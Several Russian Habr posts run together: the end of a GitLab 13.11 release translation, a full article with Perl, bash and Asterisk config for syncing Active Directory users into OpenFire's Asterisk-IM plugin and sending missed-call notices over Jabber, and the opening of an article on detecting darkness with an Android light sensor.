Geo теперь поддерживает репликацию и проверку [артефактов конвейера](https://docs.gitlab.com/ee/ci/pipelines/pipeline_artifacts.html) на вторичные сайты, что позволяет распределённым командам получать к ним доступ с ближайшего сайта Geo, что сокращает задержку и повышает удобство использования. Geo автоматически проверяет целостность данных реплицированных артефактов конвейера. Это гарантирует, что артефакты конвейера не будут повреждены при передаче или хранении. Если Geo используется как часть стратегии аварийного восстановления, это защитит клиентов от потери данных.
→ [Документация по репликации в Geo](https://docs.gitlab.com/ee/administration/geo/replication/datatypes.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/238464).
### Улучшения удобства использования
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE)
В каждом релизе мы делаем упор на улучшения общей эффективности и полезности нашего продукта.
У нас также есть [Галерея UI Polish](https://nicolasdular.gitlab.io/gitlab-polish-gallery/) для отслеживания важных обновлений наших интерфейсов. Эти обновления, хоть часто и небольшие, заметно улучшают удобство использования.
В GitLab 13.11 мы поработали над тикетами, проектами, майлстоунами (в русской локализации GitLab «этапы») и многим другим! Мы особо выделяем следующие изменения в GitLab 13.11:
* [Пояснения, что означают «покрытие» и «изменение» для покрытия кода](https://gitlab.com/gitlab-org/gitlab/-/issues/283893).
* [Ссылка из виджета результатов теста на файл, для которого не прошёл тест](https://gitlab.com/gitlab-org/gitlab/-/issues/22336).
* [Всплывающая подсказка должна указывать на активный пункт меню в выпадающем списке](https://gitlab.com/gitlab-org/gitlab/-/issues/220762).
* [Улучшили UX для включения/выключения левого навигационного элемента "CI/CD"](https://gitlab.com/gitlab-org/gitlab/-/issues/225526).
* [Всплывающая подсказка на странице сведений о задании не должна перекрывать кликабельную ссылку](https://gitlab.com/gitlab-org/gitlab/-/issues/326736).
* [Улучшили метку для значения времени на странице индекса заданий](https://gitlab.com/gitlab-org/gitlab/-/issues/327109).
* [Удалили кнопку "CI Lint" со страницы заданий](https://gitlab.com/gitlab-org/gitlab/-/issues/324403).
Список [всех улучшений удобства использования в GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=closed&milestone_title=13.11&label_name%5B%5D=UX%20debt).
---
Полный текст релиза и инструкции по обновлению/установке вы можете найти в оригинальном англоязычном посте: [GitLab 13.11 released with Kubernetes Agent and Pipeline Compliance](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/557168/ | null | ru | null |
# Связываем Active Directory, Asterisk и OpenFire
#### Дружим между собой Active Directory, сервер IP телефонии Asterisk и Jabber-сервер OpenFire.
Не буду касаться установки всего по отдельности – все неплохо описано и работает в индивидуальном порядке весьма замечательно. Напишу, как я объединял все это вместе, на что наткнулся и что у меня получилось.
##### Диспозиция:
Есть контроллер домена **dc.steepler.local** (**10.10.8.200**). Домен, соответственно — steepler.local. На сервере заведены пользователи, побиты на отделы и т.д. Что важно – у каждого пользователя в графе «телефон» прописан его номер на сервере Asterisk.
Есть установленный VoIP сервер **Asterisk** (**10.10.8.98**). Все пользователи подключены по SIP, соответственно устройства, в понимании Asterisk, у них вида SIP/XXX (где XXX – добавочный номер). На момент написания сервер был давно установлен и уже подвергнут серьезным настройкам. Именно поэтому работа не была доведена до логического конца – закономерным финалом была бы автоматическая генерация SIP конфига оконечных устройств и плана набора. К сожалению, я побоялся, что придется серьезно переписывать существующую конфигурацию, да и в любом случае – автоматическая генерация того плана набора, который существует сейчас в нашей организации и имеет множество интерактивных меню и прочих кастомизаций, не будет интересна читателю, перед которым стоит задача, в первую очередь, связать между собой сервера. Куда двигаться дальше — будет понятно. Написанные скрипты не сложны и имеют хороший задел для дальнейшей работы.
Итак, есть Asterisk с установленным фронтендом FreePBX, что сильно усложнило задачу. Ибо FreePBX имеет обыкновение и необходимость переписывать поверх все конфигурационные файлы после внесения любых изменений в web интерфейсе. То есть, поменять конфиги из командной строки мы можем, но, как только поменяем что-то потом через веб-морду, конфиги будут затерты FreePBX’ом, как порядочным фронтендом. Конечно, создатели оболочки не полагались на свою гениальность и оставили возможность для тонкой настройки. Возможность эта реализуется через подгрузку дополнительных контекстов с суффиксом «-custom» (чего, в итоге, оказалось достаточно), либо при помощи “override” конфигов, которые жестко фиксируют необходимые вам изменения. Но, надо понимать, что то, что прописано в custom или override конфиге будет работать по-вашему, не взирая на веб-интерфейс FreePBX. Либо шашечки, либо ехать. То есть, что бы вы ни крутили там во фронтенде, что бы ни настраивали – если оно коснется кастомизированных настроек – работать будут настройки из файлов, а не фронтенда. Именно поэтому было потрачено много времени на трассировку плана набора, сгенерированного FreePBX – хотелось найти точку входа в такой процедуре, жесткая привязка которой не затронула бы дальнейшую работу.
Есть, вернее, на момент написания статьи – не было Jabber сервера. Выбор, по необъяснимым причинам пал на OpenFire. На самом деле, причины просты – OpenFire позволяет организовать сквозную (Kerberos/GSSAPI/SASL) авторизацию пользователей. То бишь – пользователю не надо вводить ни логина ни пароля. Если он прошел доменную авторизацию при входе в windows – он наш клиент. При запуске клиент сам подставит пользователя, пошлет запрос на jabber-сервер, а тот, используя Kerberos, подтвердит или опровергнет подлинность запроса клиента. Не буду вдаваться в детали, для нас важно, что авторизация проходит прозрачно для клиента даже в том случае, когда в домене существует политика периодической смены пароля. Не стоит генерировать истории про «тупых юзеров», которые пишут жалобы начальству о том, что у них что-то перестало работать по тому, что они забыли поменять пароль. Надо просто делать так, чтобы им было негде тупить.
На OpenFire можно установить штатный плагин Asterisk-IM для связи с Asterisk. Он позволяет динамично отслеживать статусы пользователей, звонить на IP телефоны, отправлять уведомления. К сожалению, из коробки автоматизация оставляет желать лучшего — не смотря на то, что возможна сквозная аутентификация и авторизация пользователей через AD и то, что в AD изначально предоставлена информация о рабочем телефоне пользователя, приходится вручную сопоставлять пользователей AD/Asterisk.
Итак. Jabber серверу быть OpenFire, зваться **jbrgseveren01.steepler.local** и работать по адресу **10.10.8.226**.
Дальше я исхожу из того, что Linux у меня в виде CentOS5, Asterisk 1.8.2, а домен-контроллер Win2008. Хотя, это совершенно не принципиально, заработает и при других раскладах. Критична только версия Asterisk – поддержка jabber появилась только с ветки 1.6, да и скомпилирована PBX должна быть с его поддержкой.
##### Задачи:
Нужно установить Jabber сервер, настроить его так, чтобы необходимых пользователей он брал из доменной группы IM. Нужно тем или иным способом автоматизировать сопоставление информации о пользователях домена, пользователях jabber, абонентах Asterisk.
Как все работает из коробки? (Или подводные камни)
OpenFire обращается по ldap протоколу к домен-контроллеру и получает от него информацию о пользователях, которым разрешено пользоваться jabber.
Дальше нам нужно поставить плагин Asterisk-IM (два клика мышкой в веб-морде OpenFire). В плагине нам нужно прописать сервер Asterisk. И, oh-shit, руками, заново прописать всех пользователей в плане – логин — номер телефона — его абонентское устройство в понимании Asterisk. После этого заработает функционал плагина – при помощи родного клиента OpenFire под названием Spark пользователи смогут звонить друг — другу используя существующие телефоны просто кликая по списку контактов. То есть – нахожу контакт, щелкаю правой мышкой «позвонить», у меня на столе начинает звонить телефон, я снимаю трубку и, тотчас же, телефон начинает звонить у контакта. Более того, когда кто-то говорит по телефону, его статус в контакт-листе меняется на соответствующий. Удобно. Но, работу по прописыванию пользователей надо автоматизировать.
Едем дальше – есть желание присылать в jabber уведомления о пропущенных звонках. Одно дело, когда на телефоне моргает лампа и надо лезть в меню, смотреть, кто звонил и — совсем другое дело, когда тебя дожидается сообщение с точным временем и координатами звонивших. Из коробки не реализуется никак. То есть Asterisk, конечно легко цепляется к OpenFire серверу в режиме клиента или компонента, но вся дальнейшая задача по обработке и отправке сообщений ложится на ваши плечи. Конечно не сама работа по отправке, а объяснительная работа с Asterisk ;-) Самым тупым решением тут является обработка каждого номера по отдельности. Но, если номеров больше пяти, то оно нам не подходит. Плюс существует вероятность миграции пользователей между телефонами, добавление новых, удаление старых. К тому же, не забываем про FreePBX. Если мы жестко определим правила набора, то лишимся возможности пользоваться замечательным веб-интерфейсом. В общем, отказать в грубой форме. Не катит. Нам нужно найти точку входа в плане набора, написать свою процедуру, которая будет по номеру адресата искать соответствующего доменного пользователя и, в случае «недозвона» отправлять тому jabber сообщение – мол, звонил вам такого-то числа во столько-то такой-то абонент.
##### Приступаем
Первое, что нам понадобится – пользователи. Создаем в домене двух пользователей. Один нам будет нужен для ldap аутентификации, другой для Kerberos. Первого я назвал openfire, второго xmpp-openfire. Дальше – сразу создаем группу для пользователей jabber (у меня она называется IM) и добавляем в нее необходимых пользователей. Проверяем, чтобы у всех пользователей, имеющих внутренний телефон и входящих в группу IM в поле «номер телефона», стоял именно внутренний номер абонента.
Второе – прописываем в DNS наш будущий jabber сервер. Нам нужна и прямая и обратная зона. На самом jabber сервере настраиваем имя хоста – прописываем в **/etc/hosts**:
```
127.0.0.1 localhost.localdomain localhost
10.10.8.226 jbrgseveren01.steepler.local jbrgseveren01
```
Проверяем со всем сторон nslookup’ом – все должно правильно ресолвиться. Да, имя хоста в маленьком регистре. Это важно.
Третье — ставим OpenFire по инструкции — <http://www.igniterealtime.org/builds/openfire/docs/latest/documentation/ldap-guide.html>
Там все просто, подводных камней нет. Максимум сложностей – формирование грамотных фильтров в ldap запросе. Подключаемся через первого пользователя. На выходе получите функционирующий сервер со сквозной авторизацией через AD. Можно подключать клиентов и работать. Но, наша задача – SSO: Single Sign On. Нам надо, чтобы пользователю не надо было думать о своем логине и пароле для клиента.
Приступаем к настройке Kerberos. Тут используем второго созданного нами юзера. Все описано тут — <http://community.igniterealtime.org/docs/DOC-1060>
Все чуть сложнее, есть подводные камни. Главное – пОмНиТе пРО РегиСтры – все имеет значение. Пишите как в мануале – где заглавными, там заглавными, где строчными, там строчными. Не забудьте ввести сервер в домен и проверить факт введения. Это важно!!!
Да, keytab я создавал на контроллере домена – у меня все заработало. Средствами java я не пользовался.
Ставьте Spark – родной клиент OpenFire, проверяйте – если SSO работает – хорошо. Если нет, надо разбираться – ищите, пишите, посмотрим.
Идем на сервер Asterisk (не забывайте – у меня стоит FreePbx, поэтому даю названия файлов относительно его схемы; в случае голого Asterisk все будет чуть проще) и прописываем в **manager\_custom.conf** пользователя OpenFire:
```
[openfire]
secret = XXXX
deny=0.0.0.0/0.0.0.0
permit=10.10.8.226/255.255.255.0
read = all
write = all
```
Теперь ставим плагин Asterisk-IM. Он есть в веб-интерфейсе OpenFire, в закладке с доступными плагинами. Прописываем на появившейся вкладке Asterisk-IM наш VoIP сервер:
```
Server Name: AsteriskGSeveren01
ServerAddress: 10.10.8.98
Port: 5038
Username: openfire
Password: XXXX
```
Настала очередь прописывать пользователей руками… Надо идти на вкладку Phone Mappings и писать, писать, писать. Ограничимся парой пользователей, проверим работу. В контакт листе Spark, при щелчке правой кнопкой по имени пользователя, должна появиться опция call. Выбираем – должен зазвонить наш аппарат, при подъеме трубки – аппарат абонента.
Если все работает – хорошо. Если нет, надо разбираться – ищите, пишите, посмотрим.
Теперь начинается то, на что было потрачено основное время.
Надо объяснить Asterisk-IM, что бывают доменные пользователи и что в Active Directory есть вся необходимая информация.
Напрямую – никак. Плагин старый, поддержка его прекращена – жрите, что есть. А есть у нас MySQL база данных, в которой плагин хранит свою информацию. Самым простым способом было бы вынимать из базы информацию по пользователям OpenFire и подсовывать ее Asterisk-IM. Но, так как аутентификация у нас сквозная, то в своей базе OpenFire ничего не хранит – тащит напрямую с домен-контроллера.
Хорошо. Пишем скрипт, который будет цепляться к AD по ldap протоколу (пользователь у нас уже есть), тащить информацию по пользователям домена, входящим в группу IM и вынимать поля, содержащие полное имя, логин и номер телефона. Потом формируем SQL инъекцию и запихиваем в прямо базу Asterisk-IM. Тупой костыль, но работает.
Скриптов вышло два – один я нашел готовый [тут](http://habrahabr.ru/blogs/voip/125359/). Написан на perl – он тянет инфу из домена и, кстати, в состоянии выводить готовый sip.conf после минимальной правки. Второй, на баше – вызывает первый, препарирует его вывод (да я знаю, что я извращенец, но раз задача кем-то уже решена, не надо городить), формирует SQL инъекции и пихает все в БД.
Несного измененный **users-from-AD.pl**
```
#!/usr/bin/perl
# users.pl v1.1
#
# Script to generate asterisk 'users.conf' file from Active Directory (LADP) on users which contains 'phone' attribute
#
# Using:
# 1. Print users to STDOUT:
# users.pl
#
# 2. Print users to file:
# users.pl users_custom.conf
use strict;
use warnings;
use Net::LDAP;
use Lingua::Translit;
######################
### BEGIN SETTINGS ###
######################
my $debug = 0;
my $warning = 0;
# name of Domain
my $AD="steepler.local";
# Domain name in format AD
# for example mydomain.ru
my $ADDC="DC=steepler,DC=local";
# user in Active directory
# example: "CN=asterisk,CN=Users,$ADDC"
my $ADUserBind="cn=openfire, cn=users, dc=steepler, dc=local";
my $ADpass="XXXXXXX";
# base search tree
# example "OU=Users,$ADDC"
my $ADUsersSearchBase="$ADDC";
# Field in active directory where telephone number, display name, phone stored
# "telephonenumber", "displayname", "mail"
my $ADfieldTelephone="telephonenumber";
my $ADfieldFullName="displayname";
my $ADfieldMail="mail";
my $ADfieldUser="samaccountname";
my $ADfieldGroup="memberOf";
my $ADSearchGroup="CN=IM,CN=Users,DC=steepler,DC=local";
# You need to create a dialplan in your asterisk server;
my $dialplan="office";
# default settings
my $user_static =
"context = $dialplan
call-limit = 100
type = friend
registersip = no
host = dynamic
callgroup = 1
threewaycalling = no
hasdirectory = no
callwaiting = no
hasmanager = no
hasagent = no
hassip = yes
hasiax = yes
nat=yes
qualify=yes
dtmfmode = rfc2833
insecure = no
pickupgroup = 1
autoprov = no
label =
macaddress =
linenumber = 1
LINEKEYS = 1
callcounter = yes
disallow = all
allow = ulaw,alaw,iLBC,h263,h263p
";
#######################
### END OF SETTINGS ###
#######################
my $ldap;
# get array DNS names of AD controllers
my $dig = "dig -t srv _ldap._tcp.$AD" . '| grep -v "^;\|^$" | grep SRV | awk "{print \$8}"';
my @adControllers = `$dig`;
# try connect to AD controllers
foreach my $controller (@adControllers){
$controller =~ s/\n//;
#INITIALIZING
$ldap = Net::LDAP->new ( $controller ) or next;
print STDERR "Connected to AD controller: $controller\n" if $debug > 0;
last;
}
die "$@" unless $ldap;
my $mesg = $ldap->bind ( dn=>$ADUserBind, password =>$ADpass);
#PROCESSING - Displaying SEARCH Results
# Accessing the data as if in a structure
# i.e. Using the "as_struct" method
my $ldapUsers = LDAPsearch (
$ADUsersSearchBase,
"$ADfieldGroup=$ADSearchGroup",
[ $ADfieldFullName, $ADfieldTelephone, $ADfieldMail, $ADfieldUser ]
)->as_struct;
# translit RUS module.
# GOST 7.79 RUS, reversible, GOST 7.79:2000 (table B), Cyrillic to Latin, Russian
my $tr = new Lingua::Translit("GOST 7.79 RUS");
my %hashPhones = ();
my $phones = \%hashPhones;
my @out;
while ( my ($distinguishedName, $attrs) = each(%$ldapUsers) ) {
# if not exist phone or name - skipping
my $attrPhone = $attrs->{ "$ADfieldTelephone" } || next;
my $attrUser = $attrs->{ "$ADfieldUser" } || next;
my $attrName = $attrs->{ "$ADfieldFullName" } || next;
my $encName = $tr->translit("@$attrName");
my $attrMail = $attrs->{ "$ADfieldMail" } || [""];
# check for duplicates phone number
if ( $phones -> {"@$attrPhone"} ){
my $currUser = "@$attrName";
my $existUser = $phones -> {"@$attrPhone"};
print STDERR "@$attrPhone alredy exist! Exist:'$existUser' Current:'$currUser'... skipping - '[@$attrPhone] $currUser'\n" if $warning;
next;
} else {
$phones -> {"@$attrPhone"} = "@$attrName";
}
# password for SID = (telephonenumber without first digit) + 1
# example: phone=6232 pass=233
#$phsecret =sprintf("%03d",( substr("@$attrVal",1,100)+1));
my $phsecret = "@$attrPhone";
my $lcuser = "@$attrUser";
$lcuser = lc($lcuser);
push (@out,
"@$attrPhone "
. "$lcuser "
. "$encName\n"
);
} # End of that DN
# print to file
if (@ARGV){
open FILE, "> $ARGV[0]" or die "Error create file '$ARGV[0]': $!";
print STDOUT "Printing to file '$ARGV[0]'";
print FILE @out;
close FILE;
print STDOUT " ...done!\n";
}
# print to STDOUT
else{
print @out;
}
exit 0;
#OPERATION - Generating a SEARCH
#$base, $searchString, $attrsArray
sub LDAPsearch
{
my ($base, $searchString, $attrs) = @_;
my $ret = $ldap->search ( base => $base,
scope => "sub",
filter => $searchString,
attrs => $attrs
);
LDAPerror("LDAPsearch", $ret) && die if( $ret->code );
return $ret;
}
sub LDAPerror
{
my ($from, $mesg) = @_;
my $err = "[$from] - error"
."\nCode: " . $mesg->code
."\nError: " . $mesg->error . " (" . $mesg->error_name . ")"
."\nDescripton: " . $mesg->error_desc . ". " . $mesg->error_text;
print STDERR $err if $warning;
}
```
А вот второй на баше:
**phone-bindings-update-from-AD.sh**:
```
#!/bin/bash
TIMESTAMP=`/bin/date +%d%m%y%k%M%S`
BACKUPDIR=/opt/openfire/bin/phone-mappings/backup
BINDIR=/opt/openfire/bin
WORKDIR=$BINDIR/phone-mappings
SCRIPTNAMEDEVICE=$WORKDIR/phone-bindings-from-AD-device.sql
SCRIPTNAMEUSER=$WORKDIR/phone-bindings-from-AD-user.sql
SCRIPT=$WORKDIR/$SCRIPTNAME
PERLSCRIPT=$BINDIR/users-from-AD.pl
DEVICETPLHEAD=$WORKDIR/phoneDevice.tplhead
DEVICEINJ=$WORKDIR/phoneDevice.inj
DEVICETPLFOOT=$WORKDIR/phoneDevice.tplfoot
USERTPLHEAD=$WORKDIR/phoneUser.tplhead
USERINJ=$WORKDIR/phoneUser.inj
USERTPLFOOT=$WORKDIR/phoneUser.tplfoot
#backuping tables
mysqldump -uXXXXXXX -pXXXXXXX openfire phoneDevice > $BACKUPDIR/phoneDevice-$TIMESTAMP.sql
mysqldump -uXXXXXXX -XXXXXXX openfire phoneUser > $BACKUPDIR/phoneUser-$TIMESTAMP.sql
# Clearing injections
cat /dev/null > $DEVICEINJ
cat /dev/null > $USERINJ
# finding current Asterisk server ID in openfire DB
serverID=`mysql -Bse "SELECT serverID FROM openfire.phoneServer;" -uXXXX -pXXXX`
# resetting counters
counter=0
counter2=0
#executing perl script to retrieve current phone numbers from AD
for i in `$PERLSCRIPT`; do
counter=`expr $counter + 1`
binder[$counter]=$i
done
maxcount=$counter
counter=1
while [ "$counter" -lt "$maxcount" ]
do
# deviding array into two with extensions and jids
counter2=`expr $counter2 + 1`
extension=${binder[$counter]}
counter=`expr $counter + 1`
username=${binder[$counter]}
counter=`expr $counter + 1`
callerID=${binder[$counter]}
counter=`expr $counter + 1`
callerID=$callerID\ ${binder[$counter]}
counter=`expr $counter + 1`
deviceID=$counter2
userID=$counter2
# Creating phoneDevice injection
echo INSERT INTO \`phoneDevice\` VALUES\($deviceID,\'SIP/$extension\',\'$extension\',\'$callerID\',1,$userID,$serverID\)\; >> $DEVICEINJ
# Creating phoneUser injection
echo INSERT INTO \`phoneUser\` VALUES\($userID,\'$username\'\)\; >> $USERINJ
done
# Compile complete injections
cat $DEVICETPLHEAD > $SCRIPTNAMEDEVICE
cat $DEVICEINJ >> $SCRIPTNAMEDEVICE
cat $DEVICETPLFOOT >> $SCRIPTNAMEDEVICE
# Compile complete injections
cat $USERTPLHEAD > $SCRIPTNAMEUSER
cat $USERINJ >> $SCRIPTNAMEUSER
cat $USERTPLFOOT >> $SCRIPTNAMEUSER
# Injecting into tables
cat $SCRIPTNAMEDEVICE | mysql -uXXXXXXX -pXXXXXXX
cat $SCRIPTNAMEUSER | mysql -uXXXXXXX –pXXXXXXX
```
Как можно заметить, второй скрипт использует шаблоны для заголовка и футера инъекции. Шаблоны получены путем выполнения mysqldump к существующим таблицам и последующей обрезки результата. Собственно, вот шаблоны:
**phoneUser.tplhead:**
```
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
USE openfire;
DROP TABLE IF EXISTS `phoneUser`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE phoneUser (
userID bigint not null,
username varchar(255) not null unique,
primary key (userID)
);
SET character_set_client = @saved_cs_client;
LOCK TABLES `phoneUser` WRITE;
/*!40000 ALTER TABLE `phoneUser` DISABLE KEYS */;
```
**phoneUser.tplfoot:**
```
/*!40000 ALTER TABLE `phoneUser` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
```
**phoneDevice.tplhead:**
```
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
USE openfire;
DROP TABLE IF EXISTS `phoneDevice`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `phoneDevice` (
`deviceID` bigint(20) NOT NULL,
`device` varchar(255) NOT NULL,
`extension` varchar(255) NOT NULL,
`callerId` varchar(255) default NULL,
`isPrimary` int(11) NOT NULL,
`userID` bigint(20) default NULL,
`serverID` bigint(20) NOT NULL,
PRIMARY KEY (`deviceID`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
SET character_set_client = @saved_cs_client;
LOCK TABLES `phoneDevice` WRITE;
/*!40000 ALTER TABLE `phoneDevice` DISABLE KEYS */;
```
**phoneDevice.tplfoot:**
```
/*!40000 ALTER TABLE `phoneDevice` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
```
Скрипт запихиваем в крон, выполняем и обнаруживаем появившуюся привязку пользователей к телефонам в закладке Phone Bindings плагина Asterisk-IM. Полдела сделано.
Следующая задача — отправка сообщений о пропущенных вызовах. Если у вас стоит TrixBox или FreePBX – делайте, как я – все скорее всего заработает. Если голый Asterisk – все в ваших руках, импровизируйте, вам доступно многое. Я, даже, отчасти завидую )))
Для начала необходимо выполнить авторизацию через ssh по ключам – мы будем использовать scp и дистанционное выполнение процедуры. ssh-keygen вам поможет, мануалов в сети достаточно, повторяться не буду. Скрипт на jabber сервере будет лезть в базу данных, которую мы правили предыдущим скриптом (да, их можно объединить в один, но я решал задачи не одновременно, да и в целом – unix way говорит о правильности разбиения задач на составляющие), вынимать логин пользователя, номер телефона. Формировать jID. Дальше мы готовим исполняемый скрипт, который будет вносить информацию во встроенную базу Asterisk, переносим его на сервер Asterisk и запускаем.
Вот что получилось:
**phone-mapping-request.sh**:
```
#!/bin/bash
WORKDIR=/opt/openfire/bin/phone-mappings
SCRIPTNAME=phone-mappings-script.sh
SCRIPT=$WORKDIR/$SCRIPTNAME
SERVER=jbrgseveren01.steepler.local
#asterisk USER@HOST:/PathToFile
ASTERISK=root@10.10.8.98
#asterisk /PathToFile
RPATH=/etc/asterisk/scripts
counter=0
counter2=0
#clearing script file
cat /dev/null > $SCRIPT
#perform MYSQL request for mappings
for i in `mysql -Bse "SELECT extension,username FROM openfire.phoneDevice JOIN openfire.phoneUser ON openfire.phoneUser.UserID=openfire.phoneDevice.UserID;" -uXXXX -pXXXX`; do
counter=`expr $counter + 1`
mapper[$counter]=$i
done
maxcount=$counter
counter=1
while [ "$counter" -lt "$maxcount" ]
do
# deviding array into two with extensions and jids
counter2=`expr $counter2 + 1`
extension[$counter2]=${mapper[$counter]}
counter=`expr $counter + 1`
jid[$counter2]=${mapper[$counter]}
counter=`expr $counter + 1`
# forming asterisk script
outstringdel="asterisk -rvx \"database del AMPUSER "${extension[$counter2]}"/jid\""
outstringadd="asterisk -rvx \"database put AMPUSER "${extension[$counter2]}"/jid "${jid[$counter2]}"@"$SERVER"\""
echo $outstringdel >> $SCRIPT
echo $outstringadd >> $SCRIPT
done
# moving scrip to asterisk host
chmod 755 $SCRIPT
scp $SCRIPT $ASTERISK:$RPATH
# run script
ssh $ASTERISK $RPATH/$SCRIPTNAME
```
Дело за малым – объяснить Asterisk, что с этим делать. Тут было потрачено огромное количество времени на нахождение точки входа. Если заработает как у меня – прекрасно. Если нет – даю наводку. Астериск, в случае включения разных инструкций на одинаковое условие (то есть в диалплане написано одно действие на условие, во включении из подгружаемого контекста — другое) берет за инструкцию то, которое было получено первым. Последующие тупо игнорируются. Я к тому, что если вы написали какую-то функцию, вставили ее, а результата ноль – делайте dialplan show и смотрите, где это условие в этой ветке контекста со всеми include встречается раньше вашего.
В моем случае оказалось достаточным добавить в **extensions\_custom.conf**:
```
[from-internal-noxfer-custom]
; Missed calls Jabber notification
exten => h,1,Macro(XMPPSend,)
exten => h,n,Macro(hangupcall)
[macro-XMPPSend]
; Missed calls Jabber notification
exten => s,1,GotoIf($["foo${DB(AMPUSER/${THISDIAL:4}/jid)}" = "foo"]?5:2)
exten => s,n,Set(JID=${DB(AMPUSER/${THISDIAL:4}/jid)})
exten => s,n,Jabbersend(asterisk-jabber,${JID},${STRFTIME(${EPOCH},,%d/%m/%Y-%H:%M:%S)} - Пропущенный вызов на номер ${THISDIAL:4} от ${CALLERID(name)}, номер ${CALLERID(num)})
exten => s,n,MacroExit()
exten => s,n,Noop(No Jabber ID provided for target extension - ${THISDIAL:4})
exten => s,n,MacroExit()
```
И, прописать Asterisk как компонент OpenFire:
На стороне Asterisk:
**Jabber.conf:**
```
[general]
debug=no ;;Turn on debugging by default.
;autoprune=yes ;;Auto remove users from buddy list.
;autoregister=yes ;;Auto register users from buddy list.
[asterisk-jabber] ;;label
type=component ;;Client or Component connection
serverhost=jbrgseveren01.steepler.local ;;Route to server
username=asterisk ;;Username with optional roster.
secret=XXXX ;;Password
port=5275 ;;Port to use defaults to 5222
```
На стороне OpenFire идем в Server -> Server Settings -> External Components Settings
Включаем Service Enabled. При желании добавляем asterisk в whitelist.
Проверяем работу сервиса…
Надеюсь, чем-то помог. Если есть вопросы – пишите. | https://habr.com/ru/post/137124/ | null | ru | null |
# Как отличить день от ночи, если ты Android
#### Привет, Хабр.
Сегодня мы поговорим о том, как здорово читать в темноте. В детстве нам всем мамы запрещали это делать, но теперь есть планшеты! В отличие от бумажных книг, на них не надо светить фонариком, они сами за вас все сделают. И именно мы их этому обучаем. Однако обо всем по порядку.
В одном из мобильных приложений под Android, которое мы разработали, есть экран для чтения новостей. Для удобства пользователей мы предусмотрели в нём два режима отображения – дневной и ночной. Всё просто: если устройство «знает», что сейчас день (или просто светло), – работает обычный экран, с чёрным шрифтом на белом. Если же оно понимает, что пользователь в темноте, – предлагает ему переключиться в ночной режим – белый шрифт и чёрный экран.
Самое главное – это вовремя предложить пользователю сделать переключение. Для этого и нужно определять, день сейчас или ночь с помощью сенсора устройства.
Работа с любым сенсором в Android сводится к следующим шагам:
1. Получить доступ к [SensorManager](http://developer.android.com/reference/android/hardware/SensorManager.html).
2. Получить доступ к желаемому сенсору.
3. Зарегистрировать listener, используя общий для всех сенсоров интерфейс.
Пример работы с SensorManager:
```
public class SensorActivity extends Activity implements SensorEventListener {
private final SensorManager sensorManager;
private final Sensor lightSensor;
public SensorActivity() {
sensorManager = (SensorManager)getSystemService(SENSOR_SERVICE);
lightSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_LIGHT); //Датчик освещённости
}
